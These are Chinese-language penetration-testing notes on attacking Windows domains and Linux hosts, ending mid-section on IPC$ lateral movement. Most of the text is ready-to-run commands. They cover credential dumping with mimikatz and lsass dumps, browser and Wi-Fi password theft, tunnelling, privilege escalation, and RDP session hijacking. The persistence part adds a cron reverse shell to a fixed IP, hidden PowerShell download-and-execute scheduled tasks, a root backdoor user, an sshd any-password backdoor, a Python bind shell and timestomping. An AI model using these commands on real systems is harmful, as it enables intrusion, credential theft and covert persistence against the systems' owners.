前言

鉴于我在二进制方面还停留在汇编原理阶段,所以主要还是研究内网体系和工具利用上面,但是我感觉就算不知道具体细节,现阶段也够用

基本概念

域控制器(DC)

域控制器是域环境中核心的服务器计算机,用于在域中响应安全身份验证请求,负责允许或拒绝发出请求
的主机访问域内资源,以及对用户进行身份验证,存储用户账户信息并执行域的安全策略等。

域控开放的端口

  1. 53(域名系统,DNS):域控制器使用DNS端口来提供域名解析服务,将域名映射到IP地址,以便客户端能够找到域控制器。
  2. 88(Kerberos):Kerberos是Windows中用于身份验证的协议。域控制器使用Kerberos端口来进行用户身份验证和票据颁发(黄金票据和白银票据)。
  3. 135(远程过程调用,RPC):域控制器使用RPC端口来提供远程管理服务,例如用户和组策略的管理。
  4. 389(轻量级目录访问协议,LDAP):LDAP是用于访问和维护目录服务的协议。域控制器使用LDAP端口提供对Active Directory的访问和搜索功能。
  5. 445(服务器消息块,SMB):SMB协议用于文件和打印机共享以及其他网络通信。域控制器使用SMB端口来提供文件共享和系统管理功能。

辅域:通常指的是在网络环境中作为主域控制器备份的域控制器。这些控制器在功能上辅助主域控制器,确保在主域控制器故障时能够接管关键服务

活动目录(AD)

活动目录是一种目录服务数据库,区别于常见的关系型数据库。目录数据库实现是目录服务,是一个帮助
用户快速,准确地从目录中找到所需要信息的服务。目录数据库将所有数据库组织成一个有层次的树状结
构,其中的每一个节点是一个对象,用户可以根据这个对象名称去查找这个对象的有关信息。
如果那台机器装了AD他就变成DC

从组的使用范围来分,可以分为三种:全局组本地域组通用组

  1. 域本地组 域本地组主要用于本域内资源的访问权限,如Administrators:管理员组,该组的成员对服务器具有完全的控制权,并可以根据需要向用户分配用户权限和访问控制权限。Account Operators:账号操作员组,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器

  2. 通用组 可以在该域林的任何域中指派权限,适合在域森林内的跨域访问中使用。

  3. 全局组 全局组只能包含本域内的用户账户,全局组的使用范围是本域以及受信任关系的其他域。如Domain Admins,域管理员组,Domain Users,域用户

  4. 当服务器加入域时,域管理员默认对域内所有机器都具有管理权限,这是因为域的Domain Admins组默认会被添加到域内所有机器的本地Administrators组内。因为此组可以完全控制服务器。administrator帐户是Administrators组的一个默认本地成员,权限默认仅限于本地计算机

  5. 域用户账户是在域内全局组 Domain Users组中,本地用户账户在本地 User组中。当计算机加入域时,会把 Domain Users组添加到本地的 User 组中。因此域用户默认可以在域中的任何一台计算机上登录

  6. 机器用户(也被称为主机账号)属于域的Domain Computers组。‌机器用户是一种特殊的域用户,用户名为机器名加$,如:WIN7$WINXP$,win的SYSTEM权限就对应于主机的机器用户(system和administrator权限感觉都差不多,但在一些与系统内核交互的细节上,可以看出system权限要更大一些,如HKEY_LOCAL_MACHINE\SAM)

win登录认证流程

winlogon.exe -> 接收用户输入 -> lsass.exe -> 认证

lsass.exe 负责用户登录时的身份验证,包括输入的用户名和密码验证。它处理的是本地和域账户的验证。

信息收集

一般实战都是直接上传fscan

1
2
3
./fscan_amd64 -h 172.22.1.0/24
fscan.exe -h 192.168.1.1/24 -np -no -nopoc #(跳过存活检测 、不保存文件、跳过web poc扫描)
cat result.txt

本机基础信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
systeminfo    #查看操作系统信息 
whoami /all #查看当前用户,sid,权限

ipconfig /all #查看网络配置信息,linux是ifconfig
netstat -ano #查看端口连接信息
route print #查看主机路由信息

tasklist #查看当前进程

net use # 查看本机建立的连接(本机连接其他机器)
net session #查看当前主机与所连接的客户端之间的会话, 注意这里需要管理权限
net share # 查看本地开启的共享
net share ipc$ # 开启ipc$共享
net share ipc$ /del # 删除ipc$共享
net share admin$ /del # 删除admin$共享
net share c$ /del # 删除C盘共享

net user #查看本地用户/组信息
net user <用户名> <密码> /add
net user <用户名> /delete

net localgroup administrators #查看本地管理员组
net localgroup administrators fushuling /add #添加用户到该组

tasklist /SVC #列出当前运行的进程及其关联的服务
#Windows杀软在线查询平台
#https://www.ddosi.org/av/
#http://bypass.tidesec.com/bycms
query user #查看在线用户
wmic product get name,version #查询已安装软件
wmic startup get command ,caption #查看启动程序

抓取用户hash

SAM文件是Windows用户的账户数据库,位于%SystemRoot%\System32\Config目录中,所有本地用户的用户名, 密码的哈希值等信息都被存放在这个数据库文件中.

1
2
3
%SystemRoot%\system32\config\SYSTEM     #system系统注册表文件,存储了系统的配置信息
%SystemRoot%\system32\config\SAM #SAM文件是Windows用户的账户数据库
%SystemRoot%\system32\config\SECURITY #security中存储了Lsass策略数据库

普通域用户或普通工作组:SAM文件(加密后的用户密码)和 SYSTEM文件(秘钥)组合后可以提取出用户的用户名和Hash
域控:ntds.dit 存放了所有域用户的账号/密码(Hash)

mimikatz读取本地用户的密码哈希

运行中的系统,需要抓取 lsass.exe 的内存,进程里边存放的是活动用户(当前登录的用户)的Hash;在域中,只要域管理员通过RDP登录过,就会将hash保存到lsass中。

在 windows⾥,调试权限可以⽤来调试进程,甚⾄是调试内核。(默认情况下,本地管理员组拥有这个权限)
对于 mimikatz 的工作原理必须要读取内存,那么只有它拥有了调试lsass.exe的权限才能去打开进程

基本使用
1
2
3
4
5
6
7
8
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit #从lsass.exe进程的内存中读取当前已登录用户的凭据
#privilege::debug提升至DebugPrivilege权限
#sekurlsa::logonpasswords导出用户凭据

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit #在线读取本地Sam文件
# privilege::debug,用于提升至DebugPrivilege权限
# token::elevate,提升至system权限
# lsadump::sam,用于读取SAM文件

WDigest 是一种在 Windows 操作系统中用于身份验证的协议。WDigest 协议存在安全漏洞,尤其是在一些默认配置下,它将密码以明文形式存储在内存中。这意味着如果攻击者能够获取到目标计算机的内存内容
在 Windows 8 和 Windows Server 2012 以及更高版本中,默认情况下,WDigest 会被禁用,降低了密码明文存储的风险

重新用WDigest存储明文:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

离线破解
1
2
3
4
5
6
7
8
9
#使用procdump来绕过杀软对mimikatz拦截
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
# mimikatz运行解密命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

reg save hklm\system C:\Users\Adrian\Desktop\system
reg save hklm\sam C:\Users\Adrian\Desktop\sam
reg save hklm\security C:\Users\Adrian\Desktop\security
secretsdump.py LOCAL -system system -sam sam -security security

应用中获取信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#破解xshell
SharpXDecrypt.exe
#RDP登录凭证
netpass.exe /stext pass.txt

#浏览器密码
hack-browser-data.exe -b all -f json --dir results --zip #自动扫描当前计算机上的浏览器
hack-browser-data.exe -b chrome -p "C:\Users\User\AppData\Local\Microsoft\Edge\User Data\Default" #自定义浏览器配置文件文件夹导出数据
WebBrowserPassView.exe /stext pass.txt #实测可以抓ie和火狐

#wife密码
WirelessKeyView.exe /stext pass.txt
laZagne.exe all
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

#vpn密码
Dialupass.exe /stext pass.txt

#远程控制 如TeamViewer,SunLogin,ToDesk,Navicat

使用everything在内网搭建服务

由于win查找配置文化非常困难,可以使用everything在内网搭建服务,然后代理连接

1
2
3
4
5
6
7
8
#上传everything.exe和 Everything.ini
#开启进程,添加服务
everything.exe -install-client-service
# 最后搭建代码,访问http://127.0.0.1:2088/就行了
#也可以修改开机自启动注册表

# 关闭进程,删除服务
everything.exe -uninstall-client-service

域内基础信息收集

判断是否存在域环境

1
2
3
4
5
6
7
8
ipconfig /all # 看主DNS后缀
nslookup <主DNS后缀> # 获取DNS服务器的IP地址,一般是DC

net config workstation #判断是否存在域环境
net time /domain

systeminfo | findstr "域:"
systeminfo | findstr "Domain:"

需要有域用户的权限

1
2
3
4
5
6
7
net user /domain         #域用户信息
net group /domain #列出域内所有用户组
net group "domain admins" /domain #查看域管组

net accounts /domain #域内密码策略
nltest /DCLIST:域名 #查询所有的域控制器的主机名
nltest /domain_trusts #查看域信任关系

BloodHound

ACLAccess Control List(访问控制列表)的缩写。它是一种用于管理和控制访问权限的机制或数据结构。ACL 用于确定谁可以访问特定资源(例如文件、文件夹、网络资源等)以及他们可以执行的操作

一些不安全的acl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GenericAll:完全控制对象,包括更改密码、注册SPN、添加AD对象到目标组里面

GenericWrite:更新对象的属性(例如登录脚本)

WriteOwner:更新目标对象的所有者,可以更改为攻击者控制的用户,接管对象

WriteDACL:更新对面的DACL,将ACL写入对面实体,直接授予我们的账户对对象的完全控制权

AllExtendedRights:能够对目标对象执行与扩展 AD 权限相关的任何操作。例如,能够将用户添加到组或重置密码。

ForceChangePassword:强制改变当下的密码

AddMembers:可以对目标组添加用户(包括自己的账户)

Self (Self-Membership): 能够将自己添加到组中

HasSIDHistory: SIDHistory是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,会在新域创建一个新的SID作为该对象的objectSid,在之前域中的SID会添加到该对象的sIDHistory属性中,此时该对象将保留在原来域的SID对应的访问权限

内网资源探测

发现内网存活主机

1
2
3
4
5
6
7
#ICMP探测
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL=" #对网段循环ping
#使用powershell脚本进行arp探测
set-executionpolicy remotesigned;
Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.92.1/24
powshell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://your-ip:port/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.92.1/24" #也可以将脚本托管在服务器上,并通过powshell远程加载运行

内网端口扫描

1
2
3
4
5
6
#简单测试指定的端口号
nc ip port
telnet <ip> <port>
#利用MetaSploite探测内网
msfconsole
search auxiliary/scanner
Nmap进行端口扫描
1
2
3
4
5
6
7
8
9
10
nmap -PR [目标] #当目标主机与我们处于同一个网段的时候,使用ARP协议扫描技术就是最佳的选择
nmap -PE [目标] #通过ICMP响应请求和应答进行主机发现
nmap -sU [目标] #基于UDP协议
nmap -sS [目标] #TCP SYN扫描
nmap -sA [目标] #TCP ACK扫描
nmap -sF [目标] #TCP FIN扫描
nmap -sT [目标] # TCP Connect扫描(完成了三次握手)
nmap -sV [目标] #版本扫描

nmap -iL targets.txt路径 #扫描主机列表targets.txt中的所有目标地址

nmap 扫描端口的结果
Open(开放):nmap 发送一个 SYN 包(TCP三次握手中的第一次),目标主机回应一个 SYN+ACK 包,表示端口开放
Closed(关闭):nmap 发送一个 SYN 包,目标主机回应一个 RST 包(重置连接),表示端口关闭
Filtered(过滤):nmap 发送的 SYN 包,没有收到任何响应,表示目标不可达

内网穿透与端口转发

端口转发是一种将来自一个IP地址和端口的网络流量重定向到另一个IP地址和端口的技术,而不进行任何修改或处理
隧道是一种封装技术,使得一种协议的数据包能够在另一种协议中传输
代理是一种网络服务,它代表客户端向服务器发送请求,并将服务器的响应返回给客户端。

网络层隧道

网络层主要负责数据包的传输和路由选择
IPv6 隧道:
允许 IPv6 流量在 IPv4 网络中传输,通过封装 IPv6 数据包。

ICMP 隧道

利用 ICMP 协议(如 ping 命令)传输数据,适用于绕过防火墙。
icmpsh:基于 ICMP 的 shell 工具

1
2
3
sysctl -w net.ipv4.icmp_echo_ignore_all=1		#防止系统本身去响应icmp
python2 icmpsh_m.py 服务端IP 客户端IP
icmpsh.exe -t 服务端IP

传输层隧道

传输层负责端到端的通信和流量控制
TCP 隧道:
在 TCP 连接上封装其他协议的数据,提供可靠的传输。
UDP 隧道:
类似于 TCP 隧道,但使用无连接的 UDP 协议,适合对延迟敏感的应用。
常规端口转发:
将一个端口的流量转发到另一个端口或主机,常用于远程访问服务。

应用层隧道

应用层提供用户直接交互的接口

SSH 隧道

利用 SSH 协议创建加密隧道,可以安全地转发 TCP 流量。
ssh -L 8085:172.2.118.5:80 ctfshow@pwn.challenge.ctf.show -p 28259
ctfshow上的题,直接在本地运行即可,作用是通过ssh连接,把内网的172.2.118.5:80映射到本地127.0.0.1:8085

DNS 隧道

Port:53该端口为DNS服务端口,只要提供域名解析服务使用,该端口在渗透过程中可以寻找一下DNS域传送漏洞,在内网中可以使用DNS协议进行通信传输,隐蔽性更加好

1
2
3
4
5
6
7
8
vim /etc/dns2tcpd.conf
dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

#客户端
# 使用http代理
dns2tcpc -l 4444 -r ssh -k 123456 -z abc.com <VPSIP> -c -d 3
# 使用SOCKS代理
dns2tcpc -l 12321 -r socks -k 123456 -z abc.com <VPSIP> -c -d 3

好用的应用层代理协议—-Socks代理工具

Socks是一个客户/服务器环境的代理协议。是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递,分为socks 4和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。

基于Socket套接字实现的端口转发工具—-lcx

lcx是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本。Windows版为lcx.exe,Linux版为portmap

1
2
lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389
# 功能和上面一样

chisel

前面这几个一次只能转发一个或几个端口,这个可以和proxychains4配合实现,内网kail打内网环境

1
2
3
4
5
6
7
./chisel server -p 1234 --reverse #在vps上运行
./chisel client 123.60.135.22:1234 R:0.0.0.0:9383:socks #1234是建立连接的端口,9383是你设置的代理端口,代理ip还是你自己vps ip

vim /etc/proxychains4.conf
socks5 vpsip 9383

proxychains4 msfconsole #使用proxychains4代理运行程序

proxychains4还能让kail科学上网这里不再赘述

Stowaway

1
2
3
4
5
./linux_x64_admin -l 1234 -s 123
./linux_x64_agent -c Server_ip:1234 -s 123 --reconnect 8
#连接成功后在服务器端运行
use 0
socks 9383

frp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#frps.ini
[common]
# frp监听的端口,默认是7000,可以改成其他的
bind_port = 7000
token = test@123


#frpc.ini
[common]
server_addr = vps_ip #你自己vps的外网ip
server_port = 7000
token = test@123
tls_enable = true #tls加密

[RDP] #这里演示的是远程桌面协议的端口转发,如果有下面的socks就不再需要这个
type = tcp
local_ip = 127.0.0.1
local_port = 3389 #要转发的端口
remote_port = 6000 #转发到外网ip的什么端口

[plugin_socks] #socks代理
type = tcp
local_ip = 127.0.0.1
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = admin
use_encryption = true
use_compression = true
frp怎么隐藏流量

修改服务端和客户端的默认salt
修改frp的tls协议中固定的0x17特征
配置文件自删除

提权

linux

SUID提权

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
find / -user root -perm -4000 -print 2>/dev/null
ls -al /usr/bin/su
#常用提权方式
#find
touch test
find test -exec whoami \;
#cp mv
#覆盖 /etc/shadow 或 /etc/passwd

#nmap(2.02-5.21)存在交换模式,可利用提权
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
#vi/vim
sudo vim -c '!sh'
#bash
bash -p
#less more
less /etc/passwd
#在less中输入:
!/bin/sh

Capabilities

Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

1
2
getcap -r / 2>/dev/null

SUDO滥用提权

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具

1
2
3
sudo -l #列出当前用户可以以超级用户(root)身份执行的命令列表
#https://gtfobins.github.io/ 这里面更加详细
sudo mysql -e '\! /bin/sh'

脏牛提权

https://github.com/FireFart/dirtycow
gcc -pthread dirty.c -o exp -lcrypt
./exp
su firefart

Docker 组提权

docker 组内用户执行命令的时候会自动在所有命令前添加 sudo

1
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease #启动一个新的 Docker 容器,并将容器外部的目录 / 挂载到容器内部 /hostOS(也就是宿主机的 /)

win

烂土豆提权

只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、**MSSQL(SQL Server的简称)**等)有这个权限,大多数用户级的账户没有这个权限

1
C:/Users/Public/SweetPotato.exe -a whoami

系统服务权限配置错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;  Invoke-AllChecks | Out-File -Encoding ASCII check.txt}" #PowerUp列出了可能存在问题的所有服务

icacls "C:\Program Files" #如果路径包含空格,应该用双引号括起来,比如 "C:\Program Files\program folder"
C:\Program Files NT SERVICE\TrustedInstaller:(F) #“F”代表完全控制
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M) #“M”表示有修改权限
BUILTIN\Administrators:(OI)(CI)(IO)(F)
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(RX)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(OI)(CI)(IO)(GR,GE)
#“CI”代表从属容器将继承访问控制项
#“OI”代表从属文件将继承访问控制项

可信任服务路径漏洞
Windows中文件路径解析的特性。例如,我们有一个文件路径为“C:\Program Files\Some Folder\Service.exe”。那么,对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。如上面的目录为例,Windows会依次尝试确定和执行以下程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
只需要上传的程序重命名并放置在存在此漏洞且可写的目录下即可

1
2
3
4
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

sc stop <service_name>
sc start <service_name>

映像劫持

HKLM 只是 HKEY_LOCAL_MACHINE 的缩写,两者可以随意替换

IFEO(Image File Execution Options)是 Windows 注册表中的一个特殊项,它允许你为指定的可执行文件(EXE)配置自定义的启动行为。它通常用于调试、替换程序执行或者拦截程序启动。

当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理

1
2
3
4
5
6
7
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl * #显示指定注册表项的访问控制列表,查看是否有修改注册表的权限

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" #把本来用户主页点放大镜启动替换为cmd

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" #把本来用户shift粘滞键启动替换为cmd

#最后点左下角的头像锁屏,按功能触发

其他cve

HiveNightmare(CVE-2021-36934)
​由于Windows中多个系统文件的ACL过于宽松,使得任何标准用户都可以从系统卷影副本中读取包括SAM,SYSTEMSECURITY在内的多个系统文件
该漏洞复现需满足如下条件:1、已启动系统保护 2、系统上存在已创建的系统还原点 3、系统启用本地管理员用户

PrintSpooler提权
PrintDemon(CVE-2020-1048)
​ 该CVE是由于WindowsPrintSpooler存在缺陷,导致用户可以在系统上任意写入文件,并通过其他方法完成提权。
PrintSpooler是Windows的打印后台处理服务,用于管理所有本地和打网络打印队列,默认为开启状态。

SMBghost (CVE-2020-0796)
SMBv3.1没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出
smb版本v3.1.1
端口445开放
防火墙关闭

远程桌面控制

利用密码登录RDP 远程桌面
1
proxychains crackmapexec rdp 172.22.6.0/24 -u wenshao -p hellokitty -d xiaorang.lab
利用哈希传递登录 RDP 远程桌面

抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要开启Restricted Admin Mode, 在Windows8.1和Windows Server 2012R2上默认开启

1
2
3
4
5
6
7
8
9
10
#客户端、服务器都需要开启Restricted Admin Mode
#对应命令行开启Restricted Admin mode的命令(需要管理员权限)
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

#查看是否已开启 DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

#攻击主机,mstsc.exe为远程桌面程序
privilege::debug
sekurlsa::pth /user:<username> /domain:<comptername or ip> /ntlm: <ntlm hash> "/run:mstsc.exe /restrictedadmin"
RDP会话劫持

tscon 是 Windows 操作系统中的一个命令,用于连接到远程桌面会话或将当前会话连接到另一个会话。它通常用于管理远程桌面会话,特别是当你想要从本地会话切换到远程会话时。

SYSTEM 权限下直接执行 tscon 会话切换,不需要提供用户密码
即使远程连接的用户关闭了远程连接窗口,仍能在 SYSTEM 权限下通过 tscon 实现未授权连接

1
2
3
4
5
6
7
8
9
quser/qwinsta #查看会话id
sc create rdp binpath= "cmd.exe /k tscon ID /dest:console"
sc qc rdp
sc start rdp

#使用Psexec工具
psexec -s -i cmd
quser
tscon ID /dest:console

权限维持

linux

添加root权限后门用户

1
2
3
4
5
6
perl -e 'print crypt("M0rk", "AA"). "\n"' #密码M0rk
AAhmo1jgYI0HE
echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd #添加用户到passwd文件

touch -a -t 202401010830 filename.txt # 设置访问时间
touch -m -t 202401011200 filename.txt # 设置修改时间

ssh后门

1
2
3
4
5
6
7
8
9
10
#本地生成rsa公钥私钥
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
#将生成的公钥的内容追加到目标服务器的/root/.ssh/authorized_keys内即可


#在 SSH 配置中启用 PAM(可插拔认证模块)进行身份验证,可以增强系统的安全性和灵活性。PAM 允许你配置多种认证方式,例如密码、指纹、一次性密码等。
cat /etc/ssh/sshd_config|grep UsePAM #查看是否使用PAM进行身份验证,默认为yes
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=1234
ssh root@192.168.111.128 -p 1234 #使用ssh任意密码连接1234端口登录root账户(其他用户也可以)

vim后门

条件:安装了vim且安装了python扩展(绝大版本默认安装)

1
2
3
cd /usr/lib/python2.7/site-packages #进入py脚本目录
$(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 #Vim执行python脚本, nohup保证用户退出后依然可以执行
rm -f dir.py #删除恶意脚本

恶意脚本dir.py的内容可以是任何功能的后门,如python版本的正向后门监听11端口:

1
2
3
4
5
6
7
8
9
10
11
12
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html 
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)

定时任务

Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

1
2
 #每分钟执行一次
(crontab -l;printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.86.134/6666 0>&1';\r%100c\n")|crontab -

win

影子用户

1
2
3
4
net user hacker$ 123456 /add
net localgroup administrators hacker$ /add #带$符号的账户在常规cmd下是无法查看到
#在任务管理器中找还是可以找到该用户的,为了防止被发现,可以通过修改注册表的方式进行用户的创建
CreateHiddenAccount.exe -u teamssix -p Passw0rd

脚本自动化
https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1

PS C:>.\Windows-User-Clone_ps1.ps1
powershell -File Windows-User-Clone_ps1.ps1

开机自启动

修改注册表

如果只希望当前用户启动时运行该程序,可以将其添加到:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

如果希望所有用户在 Windows 启动时都能运行该程序,则可以将其添加到:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限,而更改HKEY_LOCAL_MACHINE却是需要管理员权限

1
2
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\bmth\Desktop\backdoor.exe"
#添加键test,值为后门程序路径
启动项目录

启动文件夹(Startup Folder)是一个实际的文件夹,放入其中的程序(如 .exe 文件、.bat 文件、.vbs 文件等)将在 Windows 启动时自动运行

1
2
3
4
5
6
7
# Windows Server 2003 的启动项路径:
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

# Windows Server 2008 的启动项路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

计划任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#(X64) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

#(X86) - On User Login
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System

#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

DLL劫持

动态链接库 (DLL) 是一种在 Windows 操作系统中使用的文件格式,允许多个程序共享功能和资源。可以看成一个函数或者一个模块

Windows默认的dll调用顺序:

  1. 程序所在⽬录。
  2. 加载 DLL 时所在的当前⽬录。
  3. 系统⽬录(C:\Windows\System32)
  4. 16位系统⽬录(C:\Windows\System)
  5. Windows⽬录(C:\Windows)
  6. PATH环境变量中列出的⽬录

在win7及win7以上系统增加了KnownDLLs保护,他们将一些容易被劫持的DLL写进了注册表里,那么凡是此项下的DLL文件只能从SYSTEM32目录下调用,路径为 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

使用流程:

  1. 使用工具ProcessMonitor,找到要劫持的进程
  2. 使用工具AheadLib(管理员权限打开),输入目标dll的路径,选择直接转发函数,导出对应的CPP文件
  3. 用vs打开,在入口函数处添加cs生成的payload,打包生成新的dll文件
  4. 将原dll文件改名为之前在软件里面的名字文件放回去
  5. 最后运行目标程序,就会成功上线cs

域内横向

IPC$ & at & schticks(不常用)

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\DELL> net share

Share name Resource Remark

-------------------------------------------------------------------------------
C$ C:\ 默认共享
D$ D:\ 默认共享
E$ E:\ 默认共享
IPC$ 远程 IPC
print$ C:\Windows\system32\spool\drivers
打印机驱动程序
ADMIN$ C:\Windows 远程管理

实战中往往会建立IPC$连接,因为通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或服务等。
使用前提:
远程主机开启了ipc连接,远程主机**139端口(NetBIOS协议)445端口(SMB协议)**开放(依赖于系统配置和防火墙设置)

1
2
3
4
5
6
# IPC$ 连接
net use \\192.168.52.138\ipc$ # 建立空连接
